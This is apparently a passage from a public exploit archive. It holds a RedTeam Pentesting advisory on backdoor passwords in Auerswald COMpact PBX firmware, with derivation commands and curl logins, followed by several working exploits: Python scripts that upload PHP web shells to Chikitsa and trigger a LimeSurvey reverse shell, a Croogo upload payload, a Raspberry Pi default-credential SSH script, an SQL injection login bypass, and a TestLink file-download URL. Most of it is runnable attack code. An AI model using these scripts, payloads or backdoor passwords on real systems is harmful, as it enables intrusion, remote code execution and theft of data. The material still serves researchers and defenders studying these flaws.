'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \ https://192.168.1.2/logstatus_state HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; [...] {"logstatus":"Sub-Administrator"}% ------------------------------------------------------------------------ Workaround ========== Disable or restrict access to the web-based management interface if possible. Fix === Upgrade to a firmware version which corrects this vulnerability. Security Risk ============= Attackers who have acquired access to a low-privileged user account, for example by extracting such an account from a VoIP phone, can log into the web-based management interface of the COMpact 5500R PBX and access clear text passwords for other user accounts, including those with the "sub-admin" privilege. After logging in with these newly acquired credentials, attackers can access configuration settings and most other functions. They can then for example create new SIP credentials and use them to call premium rate phone lines they operate to generate revenue. They can monitor and even redirect all incoming and outgoing phone calls and record all Ethernet data traffic. Due to the severe and far-reaching consequences and despite the prerequisite of having to know an existing low-privilege user account, this vulnerability rated as a high risk. Timeline ======== 2021-08-26 Vulnerability identified 2021-09-01 Customer approved disclosure to vendor 2021-09-10 Vendor notified 2021-09-10 CVE ID requested 2021-09-10 CVE ID assigned 2021-10-05 Vendor provides access to device with fixed firmware 2021-10-11 Vendor provides fixed firmware 2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected 2021-12-06 Advisory published References ========== [1] https://curl.se/ RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://www.redteam-pentesting.de/jobs/ -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen
-
Auerswald COMpact 8.0B - Multiple Backdoors
# Exploit Title: Auerswald COMpact 8.0B - Multiple Backdoors # Date: 06/12/2021 # Exploit Author: RedTeam Pentesting GmbH Advisory: Auerswald COMpact Multiple Backdoors RedTeam Pentesting discovered several backdoors in the firmware for the Auerswald COMpact 5500R PBX. These backdoors allow attackers who are able to access the web-based management application full administrative access to the device. Details ======= Product: COMpact 3000 ISDN, COMpact 3000 analog, COMpact 3000 VoIP, COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19") Affected Versions: <= 8.0B (COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX)), <= 4.0S (COMpact 3000 ISDN, COMpact 3000 analog, COMpact 3000 VoIP) Fixed Versions: 8.2B, 4.0T Vulnerability Type: Backdoor Security Risk: high Vendor URL: https://www.auerswald.de/en/product/compact-5500r Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-007 Advisory Status: published CVE: CVE-2021-40859 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40859 Introduction ============ "Fully modular VoIP appliance for more efficient communication processes With the COMpact 5500R, you are originally equipped for everyday business - now and in the future. The fully modular architecture with 80 IP channels and all the functions of a large ITC server allows up to 112 subscribers and thus scales with your company. Continuous maintanance and expansion of the system software makes this versatile IP server a future-proof investment in any business communication." (from the vendor's homepage) More Details ============ Two backdoor passwords were found in the firmware of the COMpact 5500R PBX. One backdoor password is for the secret user "Schandelah", the other can be used for the highest-privileged user "Admin". No way was discovered to disable these backdoors. Proof of Concept ================ The firmware for the COMpact 5500R can be downloaded from the vendor's homepage[1]. The following details refer to firmware version 7.8A, but the latest firmware at the time of writing (8.0B) is affected as well. Inspecting the downloaded file reveals that it is compressed and can be extracted with the program "gunzip": ------------------------------------------------------------------------ $ file 7_8A_002_COMpact5500.rom 7_8A_002_COMpact5500.rom: gzip compressed data, last modified: Wed Sep 23 15:04:43 2020, from Unix, original size 196976698 $ mv 7_8A_002_COMpact5500.rom 7_8A_002_COMpact5500.gz $ gunzip 7_8A_002_COMpact5500.gz ------------------------------------------------------------------------ Analysing the resulting file again shows that it is an image file in the format required by the bootloader "Das U-Boot"[2], a popular bootloader for embedded devices: ------------------------------------------------------------------------ $ file 7_8A_002_COMpact5500.rom 7_8A_002_COMpact5500.rom: u-boot legacy uImage, CP5500 125850, Linux/ARM, Multi-File Image (Not compressed), 196976634 bytes, Wed Sep 23 15:04:38 2020, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0 xCECA93E8, Data CRC: 0x99E65DF1 ------------------------------------------------------------------------ The program "dumpimage" (included with u-boot) can be used to list the partitions in the image file: ------------------------------------------------------------------------ $ dumpimage -l 7_8A_002_COMpact5500.rom Image Name: CP5500 125850 Created: Wed Sep 23 17:04:38 2020 Image Type: ARM Linux Multi-File Image (uncompressed) Data Size: 196976634 Bytes = 192359.99 KiB = 187.85 MiB Load Address: 00000000 Entry Point: 00000000 Contents: Image 0: 512 Bytes = 0.50 KiB = 0.00 MiB Image 1: 196976110 Bytes = 192359.48 KiB = 187.85 MiB ------------------------------------------------------------------------ The larger partition then was extracted into the file "rootfs" as follows: ------------------------------------------------------------------------ $ dumpimage -i 7_8A_002_COMpact5500.rom -p 1 rootfs ------------------------------------------------------------------------ Contained in the file is an ext2-compatible file system, which was mounted at "/mnt" and inspected: ------------------------------------------------------------------------ $ file rootfs rootfs: Linux rev 1.0 ext2 filesystem data, UUID=c3604712-a2ca-412f-81ca- f302d7f20ef1, volume name "7.8A_002_125850." $ sudo mount -o loop,ro rootfs /mnt $ cat /mnt/etc/passwd root::0:0:root:/root:/bin/sh netstorage::1:1::/data/ftpd:/bin/false web::2:2::/opt/auerswald/lighttpd:/bin/false ------------------------------------------------------------------------ The PBX runs the web server lighttpd[3], the configuration files can be found in the folder "/opt/auerswald/lighttpd". The web server forwards most requests via FastCGI to the program "/opt/auerswald/web/webserver". This program can then be analysed, for example using the reverse engineering program Ghidra[4]. The manual for the PBX reveals that in order to manage the device, users need to log in with the username "sub-admin". When this string is searched within the program in Ghidra, the function which checks passwords on login can be identified. It can easily be seen that besides the username "sub-admin" the function also checks for the hard-coded username "Schandelah", which is the village of Auerswald's headquarter. Further analysis revealed that the corresponding password for this username is derived by concatenating the PBX's serial number, the string "r2d2" and the current date, hashing it with the MD5 hash algorithm and taking the first seven lower-case hex chars of the result. All data needed to derive the password can be accessed without authentication by requesting the path "/about_state", which is also used on the website the PBX redirects users to who abort the password prompt (shortened and formatted to increase readability): ------------------------------------------------------------------------ $ curl --include https://192.168.1.2/about_state HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; [...] { "pbx": "COMpact 5500R", "pbxType": 35, "pbxId": 0, "version": "Version 7.8A - Build 002 ", "serial": "1234123412", "date": "30.08.2021", [...] } ------------------------------------------------------------------------ The password can be derived as follows: ------------------------------------------------------------------------ $ echo -n 1234123412r2d230.08.2021 | md5sum | egrep -o '^.{7}' 1432d89 ------------------------------------------------------------------------ This password can then be used for authentication: ------------------------------------------------------------------------ $ curl --include --user 'Schandelah:1432d89' --anyauth \ https://192.168.1.2/tree HTTP/1.1 302 Found Location: /statics/html/page_servicetools.html Set-Cookie: AUERSessionID1234123412=AXCTMGGCCUAGBSE; HttpOnly; Path=/ [...] ------------------------------------------------------------------------ Next, the endpoint "/logstatus_state" can be queried using the returned session ID to check the access level: ------------------------------------------------------------------------ % curl --cookie 'AUERSessionID1234123412=AXCTMGGCCUAGBSE' --include \ https://192.168.1.2/logstatus_state HTTP/1.1 200 OK X-XSS-Protection: 1 Content-Type: application/json; charset=utf-8; [...] {"logstatus":"Haendler"} ------------------------------------------------------------------------ The returned access level is "Haendler" (reseller). After login, the web server redirects to a special service page at the path "/statics/html/page_servicetools.html". Among other things, it allows to download a backup of all data on the device, configure audio recording and reset the password, PIN and token for the user "Admin". Accessing regular administrative functions is not possible directly with this user account. When inspecting the password checking function, a second backdoor can be found. When the username "Admin" is specified, the given password is tested against the configured password as well as a password derived in a similar way from the PBX's serial number, the string "r2d2", the current date and the configured language. The MD5 hash is taken and the specified password is tested against the first seven characters of the lower case hexadecimal hash. The backdoor password for the "Admin" user can be calculated as follows: ------------------------------------------------------------------------ $ echo -n 1234123412r2d230.08.2021DE | md5sum | egrep -o '^.{7}' 92fcdd9 ------------------------------------------------------------------------ The server returns a session ID for that password and the username "Admin": ------------------------------------------------------------------------ $ curl --user 'Admin:92fcdd9' --anyauth --include \ https://192.168.1.2/tree HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; Set-Cookie: AUERSessionID1234123412=MLJHCDLPMXPNKWY; HttpOnly; Path=/ [...] [{"login":3,"userId":0,"userName":"",[...]}] ------------------------------------------------------------------------ Checking the access level of the session reveals the status "Administrator": ------------------------------------------------------------------------ $ curl --cookie 'AUERSessionID1234123412=MLJHCDLPMXPNKWY' --include \ https://192.168.1.2/logstatus_state HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; [...] {"logstatus":"Administrator"} ------------------------------------------------------------------------ Workaround ========== Disable or restrict access to the web-based management interface if possible. Fix === Upgrade to a firmware version which corrects this vulnerability. Security Risk ============= By inspecting the firmware for the COMpact 5500R PBX, attackers can easily discover two backdoor passwords. One password is for the secret user account with the username "Schandelah", the other works as an alternative password for the user "Admin". Using the backdoor, attackers are granted access to the PBX with the highest privileges, enabling them to completely compromise the device. The passwords are derived from the serial number, the current date and the configured language. The backdoor passwords are not documented. They secretly coexist with a documented password recovery function supported by the vendor. No way was found to disable the backdoor access. All information needed to derive the passwords can be requested over the network without authentication, so attackers only require network access to the web-based management interface. Due to the ease of exploitation and severe consequences, the backdoor passwords are rated as a high risk. Timeline ======== 2021-08-26 Vulnerability identified 2021-09-01 Customer approved disclosure to vendor 2021-09-10 Vendor notified 2021-09-10 CVE ID requested 2021-09-10 CVE ID assigned 2021-10-05 Vendor provides access to device with fixed firmware 2021-10-11 Vendor provides fixed firmware 2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected 2021-12-06 Advisory published References ========== [1] https://www.auerswald.de/de/support/download/firmware-compact-5500 [2] https://www.denx.de/wiki/U-Boot [3] https://www.lighttpd.net [4] https://ghidra-sre.org RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://www.redteam-pentesting.de/jobs/ -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen
-
Croogo 3.0.2 - Remote Code Execution (Authenticated)
# Exploit Title: Croogo 3.0.2 - Remote Code Execution (Authenticated) # Date: 05/12/2021 # Exploit Author: Deha Berkin Bir # Vendor Homepage: https://croogo.org/ # Software Link: https://downloads.croogo.org/v3.0.2.zip # Version: 3.0.2 # Tested on: Windows 10 Home Single Language 20H2 & WampServer 3.2.3 ==> Tutorial <== 1- Login with your privileged account. 2- Go to the 'Attachments' section. Directory is '/admin/file-manager/attachments'. 3- Click the 'New Attachment' button. 4- Choose a malicious php script and upload it. ########### EXAMPLE SOURCE CODE OF MALICIOUS PHP SCRIPT #################### <?php $command = shell_exec('netstat -an'); echo "<pre>$command</pre>"; ?> ############################################################################ 5- Click on the URL of malicious php script you uploaded. 6- The malicious PHP script will be executed. ==> HTTP Request (File Upload) <== POST /admin/file-manager/attachments/add HTTP/1.1 Host: (HOST) User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------7028631106888453201670373694 Content-Length: 976 Origin: http://(HOST) Connection: close Referer: http://(HOST)/admin/file-manager/attachments/add Cookie: csrfToken=bf693e75da3b8cfedb1e097485ecb0fa89d92fcc3d67afd0601bad6c304a2793582ecb; CAKEPHP=do6gfdgwsl424dabvg1mqp9; GeniXCMS-pJSRyfdghoBRVTDlKhjklmkfhtkbup1r; PHPSESSID=gd59dfghhhg2n10amijq89hih Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------7028631106888453201670373694 Content-Disposition: form-data; name="_method" POST -----------------------------7028631106888453201670373694 Content-Disposition: form-data; name="_csrfToken" bf693ebed78cee03265197aed57e994e70d7qwdfq231341234dsfasdf2397485ecb0fa89d92fcc3d67afd0601bad6c304a2793582ecb -----------------------------7028631106888453201670373694 Content-Disposition: form-data; name="file"; filename="malicious.php" Content-Type: application/octet-stream <?php $command = shell_exec('netstat -an'); echo "<pre>$command</pre>"; ?> -----------------------------7028631106888453201670373694 Content-Disposition: form-data; name="_Token[fields]" 16ade00fae1eb7183f11fe75ed658ae4ec2a5921%3A -----------------------------7028631106888453201670373694 Content-Disposition: form-data; name="_Token[unlocked]" -----------------------------7028631106888453201670373694--
-
Chikitsa Patient Management System 2.0.2 - 'backup' Remote Code Execution (RCE) (Authenticated)
# Exploit Title: Chikitsa Patient Management System 2.0.2 - 'plugin' Remote Code Execution (RCE) (Authenticated) # Date: 03/12/2021 # Exploit Author: 0z09e (https://twitter.com/0z09e) # Vendor Homepage: https://sourceforge.net/u/dharashah/profile/ # Software Link: https://sourceforge.net/projects/chikitsa/files/Chikitsa%202.0.2.zip/download # Version: 2.0.2 # Tested on: Ubuntu import requests import os from zipfile import ZipFile import argparse def login(session , target , username , password): print("[+] Attempting to login with the credential") url = target + "/index.php/login/valid_signin" login_data = {"username" : username , "password" : password} session.post(url , data=login_data , verify=False) return session def download_backup( session , target): print("[+] Downloading the backup (This may take some time)") url = target + "/index.php/settings/take_backup/" backup_req = session.get(url , verify=False) global tmp_dir tmp_dir = os.popen("mktemp -d").read().rstrip() open(tmp_dir + "/backup_raw.zip" , "wb").write(backup_req.content) print(f"[+] Backup downloaded at {tmp_dir}/backup_raw.zip") def modify_backup(): print("[+] Modifying the backup by injecting a backdoor.") zf = ZipFile(f'{tmp_dir}/backup_raw.zip', 'r') zf.extractall(tmp_dir) zf.close() open(tmp_dir + "/uploads/media/rce.php" , "w").write("<?php system($_REQUEST['cmd']);?>") os.popen(f"cd {tmp_dir}/ && zip -r backup_modified.zip chikitsa-backup.sql prefix.txt uploads/").read() def upload_backup(session , target): print("[+] Uploading the backup back into the server.(This may take some time)") url = target + "/index.php/settings/restore_backup" file = open(f"{tmp_dir}/backup_modified.zip" , "rb").read() session.post(url , verify=False ,files = {"backup" : ("backup-modified.zip" , file)}) print(f"[+] Backdoor Deployed at : {target}/uploads/restore_backup/uploads/media/rce.php") print(f"[+] Example Output : {requests.get(target +'/uploads/restore_backup/uploads/media/rce.php?cmd=id' , verify=False).text}") def main(): parser = argparse.ArgumentParser(""" __ _ __ _ __ _____/ /_ (_) /__(_) /__________ _ / ___/ __ \/ / //_/ / __/ ___/ __ `/ / /__/ / / / / ,< / / /_(__ ) /_/ / \___/_/ /_/_/_/|_/_/\__/____/\__,_/ Chikitsa Patient Management System 2.0.2 Authenticated Remote Code Execution : POC Written By - 0z09e (https://twitter.com/0z09e)\n\n""" , formatter_class=argparse.RawTextHelpFormatter) req_args = parser.add_argument_group('required arguments') req_args.add_argument("URL" , help="Target URL. Example : http://10.20.30.40/path/to/chikitsa") req_args.add_argument("-u" , "--username" , help="Username" , required=True) req_args.add_argument("-p" , "--password" , help="password", required=True) args = parser.parse_args() target = args.URL if target[-1] == "/": target = target[:-1] username = args.username password = args.password session = requests.session() login(session ,target , username , password) download_backup(session , target ) modify_backup() upload_backup(session , target) if __name__ == "__main__": main()
-
Chikitsa Patient Management System 2.0.2 - 'plugin' Remote Code Execution (RCE) (Authenticated)
# Exploit Title: Chikitsa Patient Management System 2.0.2 - Remote Code Execution (RCE) (Authenticated) # Date: 03/12/2021 # Exploit Author: 0z09e (https://twitter.com/0z09e) # Vendor Homepage: https://sourceforge.net/u/dharashah/profile/ # Software Link: https://sourceforge.net/projects/chikitsa/files/Chikitsa%202.0.2.zip/download # Version: 2.0.2 # Tested on: Ubuntu import requests import os import argparse def login(session , target , username , password): print("[+] Attempting to login with the credential") url = target + "/index.php/login/valid_signin" login_data = {"username" : username , "password" : password} session.post(url , data=login_data , verify=False) return session def generate_plugin(): print("[+] Generating a malicious plugin") global tmp_dir tmp_dir = os.popen("mktemp -d").read().rstrip() open(f"{tmp_dir}/rce.php" , "w").write("<?php system($_REQUEST['cmd']);?>") os.popen(f"cd {tmp_dir} && zip rce.zip rce.php").read() def upload_plugin(session , target): print("[+] Uploading the plugin into the server.") url = target + "/index.php/module/upload_module/" file = open(f"{tmp_dir}/rce.zip" , "rb").read() session.post(url , verify=False ,files = {"extension" : ("rce.zip" , file)}) session.get(target + "/index.php/module/activate_module/rce" , verify=False) print(f"[+] Backdoor Deployed at : {target}/application/modules/rce.php") print(f"[+] Example Output : {requests.get(target +'/application/modules/rce.php?cmd=id' , verify=False).text}") def main(): parser = argparse.ArgumentParser(""" __ _ __ _ __ _____/ /_ (_) /__(_) /__________ _ / ___/ __ \/ / //_/ / __/ ___/ __ `/ / /__/ / / / / ,< / / /_(__ ) /_/ / \___/_/ /_/_/_/|_/_/\__/____/\__,_/ Chikitsa Patient Management System 2.0.2 Authenticated Plugin Upload Remote Code Execution : POC Written By - 0z09e (https://twitter.com/0z09e)\n\n""" , formatter_class=argparse.RawTextHelpFormatter) req_args = parser.add_argument_group('required arguments') req_args.add_argument("URL" , help="Target URL. Example : http://10.20.30.40/path/to/chikitsa") req_args.add_argument("-u" , "--username" , help="Username" , required=True) req_args.add_argument("-p" , "--password" , help="password", required=True) args = parser.parse_args() target = args.URL if target[-1] == "/": target = target[:-1] username = args.username password = args.password session = requests.session() login(session , target , username , password) generate_plugin() upload_plugin(session , target) if __name__ == "__main__": main()
-
LimeSurvey 5.2.4 - Remote Code Execution (RCE) (Authenticated)
# Exploit Title: LimeSurvey 5.2.4 - Remote Code Execution (RCE) (Authenticated) # Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login # Date: 05/12/2021 # Exploit Author: Y1LD1R1M # Vendor Homepage: https://www.limesurvey.org/ # Software Link: https://download.limesurvey.org/latest-stable-release/limesurvey5.2.4+211129.zip # Version: 5.2.x # Tested on: Kali Linux 2021.3 # Reference: https://github.com/Y1LD1R1M-1337/Limesurvey-RCE #!/usr/bin/python # -*- coding: utf-8 -*- import requests import sys import warnings from bs4 import BeautifulSoup warnings.filterwarnings("ignore", category=UserWarning, module='bs4') print("_______________LimeSurvey RCE_______________") print("") print("") print("Usage: python exploit.py URL username password port") print("Example: python exploit.py http://192.26.26.128 admin password 80") print("") print("") print("== ██╗ ██╗ ██╗██╗ ██████╗ ██╗██████╗ ██╗███╗ ███╗ ==") print("== ╚██╗ ██╔╝███║██║ ██╔══██╗███║██╔══██╗███║████╗ ████║ ==") print("== ╚████╔╝ ╚██║██║ ██║ ██║╚██║██████╔╝╚██║██╔████╔██║ ==") print("== ╚██╔╝ ██║██║ ██║ ██║ ██║██╔══██╗ ██║██║╚██╔╝██║ ==") print("== ██║ ██║███████╗██████╔╝ ██║██║ ██║ ██║██║ ╚═╝ ██║ ==") print("== ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ==") print("") print("") url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] port = sys.argv[4] req = requests.session() print("[+] Retrieving CSRF token...") loginPage = req.get(url+"/index.php/admin/authentication/sa/login") response = loginPage.text s = BeautifulSoup(response, 'html.parser') CSRF_token = s.findAll('input')[0].get("value") print(CSRF_token) print("[+] Sending Login Request...") login_creds = { "user": username, "password": password, "authMethod": "Authdb", "loginlang":"default", "action":"login", "width":"1581", "login_submit": "login", "YII_CSRF_TOKEN": CSRF_token } print("[+]Login Successful") print("") print("[+] Upload Plugin Request...") print("[+] Retrieving CSRF token...") filehandle = open("/root/limesurvey/plugin/Y1LD1R1M.zip",mode = "rb") # CHANGE THIS login = req.post(url+"/index.php/admin/authentication/sa/login" ,data=login_creds) UploadPage = req.get(url+"/index.php/admin/pluginmanager/sa/index") response = UploadPage.text s = BeautifulSoup(response, 'html.parser') CSRF_token2 = s.findAll('input')[0].get("value") print(CSRF_token2) Upload_creds = { "YII_CSRF_TOKEN":CSRF_token2, "lid":"$lid", "action": "templateupload" } file_upload= req.post(url+"/index.php/admin/pluginmanager?sa=upload",files = {'the_file':filehandle},data=Upload_creds) UploadPage = req.get(url+"/index.php/admin/pluginmanager?sa=uploadConfirm") response = UploadPage.text print("[+] Plugin Uploaded Successfully") print("") print("[+] Install Plugin Request...") print("[+] Retrieving CSRF token...") InstallPage = req.get(url+"/index.php/admin/pluginmanager?sa=installUploadedPlugin") response = InstallPage.text s = BeautifulSoup(response, 'html.parser') CSRF_token3 = s.findAll('input')[0].get("value") print(CSRF_token3) Install_creds = { "YII_CSRF_TOKEN":CSRF_token3, "isUpdate": "false" } file_install= req.post(url+"/index.php/admin/pluginmanager?sa=installUploadedPlugin",data=Install_creds) print("[+] Plugin Installed Successfully") print("") print("[+] Activate Plugin Request...") print("[+] Retrieving CSRF token...") ActivatePage = req.get(url+"/index.php/admin/pluginmanager?sa=activate") response = ActivatePage.text s = BeautifulSoup(response, 'html.parser') CSRF_token4 = s.findAll('input')[0].get("value") print(CSRF_token4) Activate_creds = { "YII_CSRF_TOKEN":CSRF_token4, "pluginId": "1" # CHANGE THIS } file_activate= req.post(url+"/index.php/admin/pluginmanager?sa=activate",data=Activate_creds) print("[+] Plugin Activated Successfully") print("") print("[+] Reverse Shell Starting, Check Your Connection :)") shell= req.get(url+"/upload/plugins/Y1LD1R1M/php-rev.php") # CHANGE THIS
-
Raspberry Pi 5.10 - Default Credentials
# Exploit Title: Raspberry Pi 5.10 - Default Credentials # Date: 08/12/2021 # Exploit Author: netspooky # Vendor Homepage: https://www.raspberrypi.com/ # Software Link: https://www.raspberrypi.com/software/operating-systems/ # Version: Raspberry Pi OS <= 5.10 # Tested on: Raspberry Pi OS 5.10 # CVE : CVE-2021-38759 # Initial Release: https://twitter.com/netspooky/status/1468603668266209280 # Run: $ python3 exploit.py IP import paramiko import sys h=sys.argv[1] u="pi" p="raspberry" c=paramiko.client.SSHClient() c.set_missing_host_key_policy(paramiko.AutoAddPolicy()) c.connect(h,username=u,password=p) i,o,e=c.exec_command("id") print(o.read()) c.close()
-
MTPutty 1.0.1.21 - SSH Password Disclosure
# Exploit Title: MTPutty 1.0.1.21 - SSH Password Disclosure # Exploit Author: Sedat Ozdemir # Version: 1.0.1.21 # Date: 06/12/2021 # Vendor Homepage: https://ttyplus.com/multi-tabbed-putty/ # Tested on: Windows 10 Proof of Concept ================ Step 1: Open MTPutty and add a new SSH connection. Step 2: Click double times and connect to the server. Step 3: Run run “Get-WmiObject Win32_Process | select name, commandline | findstr putty.exe” on powershell. Step 4: You can see the hidden password on PowerShell terminal.
-
Student Management System 1.0 - SQLi Authentication Bypass
# Exploit Title: Student Management System 1.0 - SQLi Authentication Bypass # Date: 2020-07-06 # Exploit Author: Enes Özeser # Vendor Homepage: https://www.sourcecodester.com/php/14268/student-management-system.html # Version: 1.0 # Tested on: Windows & WampServer # CVE: CVE-2020-23935 1- Go to following url. >> http://(HOST)/admin/login.php 2- We can login succesfully with SQL bypass method. -- Username = admin'# -- Password = (Write Something) NOTE: Default username and password is admin:admin. (( HTTP Request )) POST /process.php HTTP/1.1 Host: (HOST) Connection: keep-alive Content-Length: 51 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://(HOST)/ Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://(HOST)/index.php?q=login Accept-Encoding: gzip, deflate, br Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: navigate-tinymce-scroll=%7B%7D; navigate-language=en; PHPSESSID=1asdsd3lf9u2d7e82on6rjl U_USERNAME=admin'#&U_PASS=123123&sidebarLogin=
-
TestLink 1.19 - Arbitrary File Download (Unauthenticated)
# Exploit Title: TestLink 1.19 - Arbitrary File Download (Unauthenticated) # Google Dork: inurl:/testlink/ # Date: 07/12/2021 # Exploit Author: Gonzalo Villegas (Cl34r) # Exploit Author Homepage: https://nch.ninja # Vendor Homepage: https://testlink.org/ # Version:1.16 <= 1.19 # CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N You can download files from "/lib/attachments/attachmentdownload.php", passing directly in URL the id of file listed on database, otherwise you can iterate the id parameter (from 1) Vulnerable URL: "http://HOST/lib/attachments/attachmentdownload.php?id=ITERATE_THIS_ID&skipCheck=1" for research notes: https://nch.ninja/blog/unauthorized-file-download-attached-files-testlink-116-119/
-
Wordpress Plugin Catch Themes Demo Import 1.6.1 - Remote Code Execution (RCE) (Authenticated)
# Exploit Title: Wordpress Plugin Catch Themes Demo Import 1.6.1 - Remote Code Execution (RCE) (Authenticated) # Date 07.12.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://wordpress.org/plugins/catch-themes-demo-import/ # Software Link: https://downloads.wordpress.org/plugin/catch-themes-demo-import.1.6.1.zip # Version: <= 1.6.1 # Tested on: Ubuntu 18.04 # CVE: CVE-2021-39352 # CWE: CWE-434 # Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39352/README.md ''' Description: The Catch Themes Demo Import WordPress plugin is vulnerable to arbitrary file uploads via the import functionality found in the ~/inc/CatchThemesDemoImport.php file, in versions up to 1.7, due to insufficient file type validation. This makes it possible for an attacker with administrative privileges to upload malicious files that can be used to achieve remote code execution. ''' # Banner: banner = """ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ||C |||V |||E |||- |||2 |||0 |||2 |||1 |||- |||3 |||9 |||3 |||5 |||2 || ||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|| |/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\| [+] Catch Themes Demo Import RCE (Authenticated) [@] Developed by Ron Jost (Hacker5preme) """ print(banner) import argparse import requests from datetime import datetime # User-Input: my_parser = argparse.ArgumentParser(description='Wordpress Plugin Catch Themes Demo Import - RCE (Authenticated)') my_parser.add_argument('-T', '--IP', type=str) my_parser.add_argument('-P', '--PORT', type=str) my_parser.add_argument('-U', '--PATH', type=str) my_parser.add_argument('-u', '--USERNAME', type=str) my_parser.add_argument('-p', '--PASSWORD', type=str) args = my_parser.parse_args() target_ip = args.IP target_port = args.PORT wp_path = args.PATH username = args.USERNAME password = args.PASSWORD print('') print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S'))) print('') # Authentication: session = requests.Session() auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php' check = session.get(auth_url) # Header: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'http://' + target_ip, 'Connection': 'close', 'Upgrade-Insecure-Requests': '1' } # Body: body = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'testcookie': '1' } auth = session.post(auth_url, headers=header, data=body) # Get Security nonce value: check = session.get('http://' + target_ip + ':' + target_port + wp_path+ 'wp-admin/themes.php?page=catch-themes-demo-import').text nonce = check[check.find('ajax_nonce"') + 13:] wp_nonce = nonce[:nonce.find('"')] print(wp_nonce) # Exploit: exploit_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php' # Header (Exploit): header = { "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0", "Accept": "*/*", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", 'Referer': 'http://' + target_ip + '/wordpress/wp-admin/themes.php?page=catch-themes-demo-import', "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------121585879226594965303252407916", "Origin": "http://" + target_ip, "Connection": "close" } # Exploit Payload (Using p0wny shell: https://github.com/flozz/p0wny-shell): shell_payload = "-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nctdi_import_demo_data\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"security\"\r\n\r\n" + wp_nonce 